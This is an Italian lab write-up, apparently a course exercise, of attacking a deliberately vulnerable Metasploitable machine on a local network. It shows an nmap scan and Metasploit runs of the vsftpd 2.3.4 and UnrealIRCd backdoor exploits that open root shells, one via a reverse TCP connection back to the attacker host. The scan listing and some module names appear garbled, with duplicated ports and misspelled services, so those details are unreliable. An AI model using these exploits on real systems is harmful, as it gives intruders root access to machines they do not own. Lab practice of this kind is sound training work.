- 1. La fase di exploit: Gli attacchi alle Retiì+
- Sessione di hacking sulla macchina Metasploitable, sul servizio vsftpd.

```
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open stp vsftpd 2.3.4
22/tcp open stp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rebind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open shell Netkit rshd
1099/tcp open shell Netkit rshd
1099/tcp open shell Netkit rshd
1099/tcp open nfs 2-4 (RPC #100003)
12121/tcp open fs 2-4 (RPC #100003)
12121/tcp open fs 2-4 (RPC #100003)
12121/tcp open fs POFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open vc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8188/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8188/tcp open upscl Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nemp done: 1 IP address (1 host up) scanned in 186.20 seconds
```

Con nmap controllo servizi e porte della macchina target.

Da msfconsole ricerco gli exploit del servizio.

Setto l'ip target e lascio il payload di default.

## Eseguo l'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.149:21 - USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.160:34789 → 192.168.1.149:6200) at 2023-03-06 14:28:34 +0100
```

Una volta dentro, mi sposto nella directory di root ed inserisco una cartella col comando mkdir (la cartella in questione viene chiamata test\_metasplot).

```
ls
bin
boot
cdrom
dev
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
tmp
usr
vmlinuz
cd root
Desktop
reset_logs.sh
vnc.log
mkdir test_metasploit
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

## - Sessione di hacking sulla macchina Metasploitable, sul servizio irc.

Sempre tramite MSFConsole merchiamo l'exploit corrispondente al servizio che abbiamo prima intercettato con nmap.

Impostiamo il payload tra quelli disponibili e inseriamo gli ip della macchina target e di quella attaccante.

Una volta avviato l'exploit possiamo muoverci liberamente

```
msf6 exploit(max/irc/mreal_locd_2281_Backdoor) > run

[*] Started reverse TCP double handler on 192.168.1.160:4444
[*] 192.168.1.149:6667 - Connected to 192.168.1.149:6667...
irc.Metasploitable.LAM NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.1.149:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo Of6apkRncwbg4Lz;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets B
[*] Reading from sockets B
[*] Reading from socket B
[*] B: "Oof6apkRncwbg4Lz\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.1.160:4444 → 192.168.1.149:35741) at 2023-03-06 14:43:19 +0100

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LICENSE
aliases
badwords.channel.conf
badwords.guit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pld
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealicd.conf
cd ...
```

Come possiamo notare siamo entrati come utente root e di conseguenza possiamo sfruttarne tutti i vantaggi.

```
id
uid=0(root) gid=0(root)
```